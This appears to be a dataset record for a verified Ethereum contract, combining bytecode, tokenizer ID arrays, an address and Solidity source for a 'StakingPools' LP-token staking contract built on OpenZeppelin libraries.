fffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611457576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f146022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f66726f7a656e000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611688576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611fa56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611ea96023913960400191505060405180910390fd5b611719838383611e59565b61178581604051806060016040528060268152602001611f3660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c79092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181a81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611974576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561193957808201518184015260208101905061191e565b50505050905090810190601f1680156119665780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611a3660008383611e59565b611a4b816004546112bb90919063ffffffff16565b600481905550611aa381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f846021913960400191505060405180910390fd5b611be282600083611e59565b611c4e81604051806060016040528060228152602001611ecc60229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c79092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ca681600454611e5e90919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611eee6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b505050565b6000611ea083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118c7565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d579ebdb3cab31d8c0a3a8399c80512543b88840ee104f81c797b4f31766c60c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 16086, 2050, 19317, 2509, 2546, 22907, 2497, 22610, 2549, 3207, 19481, 2546, 2692, 2629, 2497, 22907, 17465, 2692, 9468, 2575, 2475, 2278, 2546, 2581, 2497, 18939, 2487, 15878, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 2321, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 5709, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 6021, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,001
0x960A7A7952F23E93450075Ea9fF6fcf9AA95224B
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IStakingPoolMigrator.sol"; import "./interfaces/IStakingPoolRewarder.sol"; /** * @title StakingPools * * @dev A contract for staking Uniswap LP tokens in exchange for locked CONV rewards. * No actual CONV tokens will be held or distributed by this contract. Only the amounts * are accumulated. * * @dev The `migrator` in this contract has access to users' staked tokens. Any changes * to the migrator address will only take effect after a delay period specified at contract * creation. * * @dev This contract interacts with token contracts via `safeApprove`, `safeTransfer`, * and `safeTransferFrom` instead of the standard Solidity interface so that some non-ERC20- * compatible tokens (e.g. Tether) can also be staked. */ contract StakingPools is Ownable { using SafeMath for uint256; event PoolCreated( uint256 indexed poolId, address indexed token, uint256 startBlock, uint256 endBlock, uint256 migrationBlock, uint256 rewardPerBlock ); event PoolEndBlockExtended(uint256 indexed poolId, uint256 oldEndBlock, uint256 newEndBlock); event PoolMigrationBlockExtended(uint256 indexed poolId, uint256 oldMigrationBlock, uint256 newMigrationBlock); event PoolRewardRateChanged(uint256 indexed poolId, uint256 oldRewardPerBlock, uint256 newRewardPerBlock); event MigratorChangeProposed(address newMigrator); event MigratorChanged(address oldMigrator, address newMigrator); event RewarderChanged(address oldRewarder, address newRewarder); event PoolMigrated(uint256 indexed poolId, address oldToken, address newToken); event Staked(uint256 indexed poolId, address indexed staker, address token, uint256 amount); event Unstaked(uint256 indexed poolId, address indexed staker, address token, uint256 amount); event RewardRedeemed(uint256 indexed poolId, address indexed staker, address rewarder, uint256 amount); /** * @param startBlock the block from which reward accumulation starts * @param endBlock the block from which reward accumulation stops * @param migrationBlock the block since which LP token migration can be triggered * @param rewardPerBlock total amount of token to be rewarded in a block * @param poolToken token to be staked */ struct PoolInfo { uint256 startBlock; uint256 endBlock; uint256 migrationBlock; uint256 rewardPerBlock; address poolToken; } /** * @param totalStakeAmount total amount of staked tokens * @param accuRewardPerShare accumulated rewards for a single unit of token staked, multiplied by `ACCU_REWARD_MULTIPLIER` * @param accuRewardLastUpdateBlock the block number at which the `accuRewardPerShare` field was last updated */ struct PoolData { uint256 totalStakeAmount; uint256 accuRewardPerShare; uint256 accuRewardLastUpdateBlock; } /** * @param stakeAmount amount of token the user stakes * @param pendingReward amount of reward to be redeemed by the user up to the user's last action * @param entryAccuRewardPerShare the `accuRewardPerShare` value at the user's last stake/unstake action */ struct UserData { uint256 stakeAmount; uint256 pendingReward; uint256 entryAccuRewardPerShare; } /** * @param proposeTime timestamp when the change is proposed * @param newMigrator new migrator address */ struct PendingMigratorChange { uint64 proposeTime; address newMigrator; } uint256 public lastPoolId; // The first pool has ID of 1 IStakingPoolMigrator public migrator; uint256 public migratorSetterDelay; PendingMigratorChange public pendingMigrator; IStakingPoolRewarder public rewarder; mapping(uint256 => PoolInfo) public poolInfos; mapping(uint256 => PoolData) public poolData; mapping(uint256 => mapping(address => UserData)) public userData; uint256 private constant ACCU_REWARD_MULTIPLIER = 10**20; // Precision loss prevention bytes4 private constant TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)"))); bytes4 private constant APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)"))); bytes4 private constant TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))); modifier onlyPoolExists(uint256 poolId) { require(poolInfos[poolId].endBlock > 0, "StakingPools: pool not found"); _; } modifier onlyPoolActive(uint256 poolId) { require( block.number >= poolInfos[poolId].startBlock && block.number < poolInfos[poolId].endBlock, "StakingPools: pool not active" ); _; } modifier onlyPoolNotEnded(uint256 poolId) { require(block.number < poolInfos[poolId].endBlock, "StakingPools: pool ended"); _; } function getReward(uint256 poolId, address staker) external view returns (uint256) { UserData memory currentUserData = userData[poolId][staker]; PoolInfo memory currentPoolInfo = poolInfos[poolId]; PoolData memory currentPoolData = poolData[poolId]; uint256 latestAccuRewardPerShare = currentPoolData.totalStakeAmount > 0 ? currentPoolData.accuRewardPerShare.add( Math .min(block.number, currentPoolInfo.endBlock) .sub(currentPoolData.accuRewardLastUpdateBlock) .mul(currentPoolInfo.rewardPerBlock) .mul(ACCU_REWARD_MULTIPLIER) .div(currentPoolData.totalStakeAmount) ) : currentPoolData.accuRewardPerShare; return currentUserData.pendingReward.add( currentUserData.stakeAmount.mul(latestAccuRewardPerShare.sub(currentUserData.entryAccuRewardPerShare)).div( ACCU_REWARD_MULTIPLIER ) ); } constructor(uint256 _migratorSetterDelay) { require(_migratorSetterDelay > 0, "StakingPools: zero setter delay"); migratorSetterDelay = _migratorSetterDelay; } function createPool( address token, uint256 startBlock, uint256 endBlock, uint256 migrationBlock, uint256 rewardPerBlock ) external onlyOwner { require(token != address(0), "StakingPools: zero address"); require( startBlock > block.number && endBlock > startBlock && migrationBlock > startBlock, "StakingPools: invalid block range" ); require(rewardPerBlock > 0, "StakingPools: reward must be positive"); uint256 newPoolId = ++lastPoolId; poolInfos[newPoolId] = PoolInfo({ startBlock: startBlock, endBlock: endBlock, migrationBlock: migrationBlock, rewardPerBlock: rewardPerBlock, poolToken: token }); poolData[newPoolId] = PoolData({totalStakeAmount: 0, accuRewardPerShare: 0, accuRewardLastUpdateBlock: startBlock}); emit PoolCreated(newPoolId, token, startBlock, endBlock, migrationBlock, rewardPerBlock); } function extendEndBlock(uint256 poolId, uint256 newEndBlock) external onlyOwner onlyPoolExists(poolId) onlyPoolNotEnded(poolId) { uint256 currentEndBlock = poolInfos[poolId].endBlock; require(newEndBlock > currentEndBlock, "StakingPools: end block not extended"); poolInfos[poolId].endBlock = newEndBlock; emit PoolEndBlockExtended(poolId, currentEndBlock, newEndBlock); } function extendMigrationBlock(uint256 poolId, uint256 newMigrationBlock) external onlyOwner onlyPoolExists(poolId) onlyPoolNotEnded(poolId) { uint256 currentMigrationBlock = poolInfos[poolId].migrationBlock; require(newMigrationBlock > currentMigrationBlock, "StakingPools: migration block not extended"); poolInfos[poolId].migrationBlock = newMigrationBlock; emit PoolMigrationBlockExtended(poolId, currentMigrationBlock, newMigrationBlock); } function setPoolReward(uint256 poolId, uint256 newRewardPerBlock) external onlyOwner onlyPoolExists(poolId) onlyPoolNotEnded(poolId) { if ( block.number >= poolInfos[poolId].startBlock) { // "Settle" rewards up to this block _updatePoolAccuReward(poolId); } // We're deliberately allowing setting the reward rate to 0 here. If it turns // out this, or even changing rates at all, is undesirable after deployment, the // ownership of this contract can be transferred to a contract incapable of making // calls to this function. uint256 currentRewardPerBlock = poolInfos[poolId].rewardPerBlock; poolInfos[poolId].rewardPerBlock = newRewardPerBlock; emit PoolRewardRateChanged(poolId, currentRewardPerBlock, newRewardPerBlock); } function proposeMigratorChange(address newMigrator) external onlyOwner { pendingMigrator = PendingMigratorChange({proposeTime: uint64(block.timestamp), newMigrator: newMigrator}); emit MigratorChangeProposed(newMigrator); } function executeMigratorChange() external { require(pendingMigrator.proposeTime > 0, "StakingPools: migrator change proposal not found"); require( block.timestamp >= uint256(pendingMigrator.proposeTime).add(migratorSetterDelay), "StakingPools: migrator setter delay not passed" ); address oldMigrator = address(migrator); migrator = IStakingPoolMigrator(pendingMigrator.newMigrator); // Clear storage pendingMigrator = PendingMigratorChange({proposeTime: 0, newMigrator: address(0)}); emit MigratorChanged(oldMigrator, address(migrator)); } function setRewarder(address newRewarder) external onlyOwner { address oldRewarder = address(rewarder); rewarder = IStakingPoolRewarder(newRewarder); emit RewarderChanged(oldRewarder, newRewarder); } function migratePool(uint256 poolId) external onlyPoolExists(poolId) { require(address(migrator) != address(0), "StakingPools: migrator not set"); PoolInfo memory currentPoolInfo = poolInfos[poolId]; PoolData memory currentPoolData = poolData[poolId]; require(block.number >= currentPoolInfo.migrationBlock, "StakingPools: migration block not reached"); safeApprove(currentPoolInfo.poolToken, address(migrator), currentPoolData.totalStakeAmount); // New token balance is not validated here since the migrator can do whatever // it wants anyways (including providing a fake token address with fake balance). // It's the migrator contract's responsibility to ensure tokens are properly migrated. address newToken = migrator.migrate(poolId, address(currentPoolInfo.poolToken), uint256(currentPoolData.totalStakeAmount)); require(newToken != address(0), "StakingPools: zero new token address"); poolInfos[poolId].poolToken = newToken; emit PoolMigrated(poolId, currentPoolInfo.poolToken, newToken); } function stake(uint256 poolId, uint256 amount) external onlyPoolExists(poolId) onlyPoolActive(poolId) { _updatePoolAccuReward(poolId); _updateStakerReward(poolId, msg.sender); _stake(poolId, msg.sender, amount); } function unstake(uint256 poolId, uint256 amount) external onlyPoolExists(poolId) { _updatePoolAccuReward(poolId); _updateStakerReward(poolId, msg.sender); _unstake(poolId, msg.sender, amount); } function emergencyUnstake(uint256 poolId) external onlyPoolExists(poolId) { _unstake(poolId, msg.sender, userData[poolId][msg.sender].stakeAmount); // Forfeit user rewards to avoid abuse userData[poolId][msg.sender].pendingReward = 0; } function redeemRewards(uint256 poolId) external onlyPoolExists(poolId) { redeemRewardsByAddress(poolId, msg.sender); } function redeemRewardsByAddress(uint256 poolId, address user) public onlyPoolExists(poolId) { require(user != address(0), "StakingPools: zero address"); _updatePoolAccuReward(poolId); _updateStakerReward(poolId, user); require(address(rewarder) != address(0), "StakingPools: rewarder not set"); uint256 rewardToRedeem = userData[poolId][user].pendingReward; require(rewardToRedeem > 0, "StakingPools: no reward to redeem"); userData[poolId][user].pendingReward = 0; rewarder.onReward(poolId, user, rewardToRedeem); emit RewardRedeemed(poolId, user, address(rewarder), rewardToRedeem); } function _stake( uint256 poolId, address user, uint256 amount ) private { require(amount > 0, "StakingPools: cannot stake zero amount"); userData[poolId][user].stakeAmount = userData[poolId][user].stakeAmount.add(amount); poolData[poolId].totalStakeAmount = poolData[poolId].totalStakeAmount.add(amount); safeTransferFrom(poolInfos[poolId].poolToken, user, address(this), amount); emit Staked(poolId, user, poolInfos[poolId].poolToken, amount); } function _unstake( uint256 poolId, address user, uint256 amount ) private { require(amount > 0, "StakingPools: cannot unstake zero amount"); // No sufficiency check required as sub() will throw anyways userData[poolId][user].stakeAmount = userData[poolId][user].stakeAmount.sub(amount); poolData[poolId].totalStakeAmount = poolData[poolId].totalStakeAmount.sub(amount); safeTransfer(poolInfos[poolId].poolToken, user, amount); emit Unstaked(poolId, user, poolInfos[poolId].poolToken, amount); } function _updatePoolAccuReward(uint256 poolId) private { PoolInfo storage currentPoolInfo = poolInfos[poolId]; PoolData storage currentPoolData = poolData[poolId]; uint256 appliedUpdateBlock = Math.min(block.number, currentPoolInfo.endBlock); uint256 durationInBlocks = appliedUpdateBlock.sub(currentPoolData.accuRewardLastUpdateBlock); // This saves tx cost when being called multiple times in the same block if (durationInBlocks > 0) { // No need to update the rate if no one staked at all if (currentPoolData.totalStakeAmount > 0) { currentPoolData.accuRewardPerShare = currentPoolData.accuRewardPerShare.add( durationInBlocks.mul(currentPoolInfo.rewardPerBlock).mul(ACCU_REWARD_MULTIPLIER).div( currentPoolData.totalStakeAmount ) ); } currentPoolData.accuRewardLastUpdateBlock = appliedUpdateBlock; } } function _updateStakerReward(uint256 poolId, address staker) private { UserData storage currentUserData = userData[poolId][staker]; PoolData storage currentPoolData = poolData[poolId]; uint256 stakeAmount = currentUserData.stakeAmount; uint256 stakerEntryRate = currentUserData.entryAccuRewardPerShare; uint256 accuDifference = currentPoolData.accuRewardPerShare.sub(stakerEntryRate); if (accuDifference > 0) { currentUserData.pendingReward = currentUserData.pendingReward.add( stakeAmount.mul(accuDifference).div(ACCU_REWARD_MULTIPLIER) ); currentUserData.entryAccuRewardPerShare = currentPoolData.accuRewardPerShare; } } function safeApprove( address token, address spender, uint256 amount ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(APPROVE_SELECTOR, spender, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "StakingPools: approve failed"); } function safeTransfer( address token, address recipient, uint256 amount ) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(TRANSFER_SELECTOR, recipient, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "StakingPools: transfer failed"); } function safeTransferFrom( address token, address sender, address recipient, uint256 amount ) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, sender, recipient, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "StakingPools: transferFrom failed"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IStakingPoolMigrator { function migrate( uint256 poolId, address oldToken, uint256 amount ) external returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IStakingPoolRewarder { function onReward( uint256 poolId, address user, uint256 amount ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106101a25760003560e01c806372f73499116100ee578063b2ce5df311610097578063dcc3e06e11610071578063dcc3e06e14610510578063ec00208114610518578063f2fde38b14610535578063ff22d24114610568576101a2565b8063b2ce5df31461046f578063b3f2f997146104ba578063d9dbd28d146104ed576101a2565b80638da5cb5b116100c85780638da5cb5b1461043c5780639e2c8a5b14610444578063a657e57914610467576101a2565b806372f73499146103e05780637b0472f0146103e85780637cd07e471461040b576101a2565b80633b61edd3116101505780636ab0f2551161012a5780636ab0f255146103405780637103789414610381578063715018a6146103d8576101a2565b80633b61edd3146102a25780633c634f42146102c5578063689d84e4146102e2576101a2565b80632730661511610181578063273066151461024a57806335f11cc2146102525780633a6462e41461026f576101a2565b80628f33d7146101a7578063012ce501146101f25780630e667f0e14610211575b600080fd5b6101e0600480360360408110156101bd57600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff1661058b565b60408051918252519081900360200190f35b61020f6004803603602081101561020857600080fd5b50356106fb565b005b61020f6004803603604081101561022757600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff166107c0565b61020f610afa565b61020f6004803603602081101561026857600080fd5b5035610c9b565b61020f6004803603602081101561028557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d28565b61020f600480360360408110156102b857600080fd5b5080359060200135610e58565b61020f600480360360208110156102db57600080fd5b50356110c0565b6102ff600480360360208110156102f857600080fd5b503561149c565b60408051958652602086019490945284840192909252606084015273ffffffffffffffffffffffffffffffffffffffff166080830152519081900360a00190f35b6103486114e1565b6040805167ffffffffffffffff909316835273ffffffffffffffffffffffffffffffffffffffff90911660208301528051918290030190f35b6103ba6004803603604081101561039757600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff16611515565b60408051938452602084019290925282820152519081900360600190f35b61020f611541565b6101e0611658565b61020f600480360360408110156103fe57600080fd5b508035906020013561165e565b61041361179c565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6104136117b8565b61020f6004803603604081101561045a57600080fd5b50803590602001356117d4565b6101e0611876565b61020f600480360360a081101561048557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020810135906040810135906060810135906080013561187c565b61020f600480360360208110156104d057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611b9c565b61020f6004803603604081101561050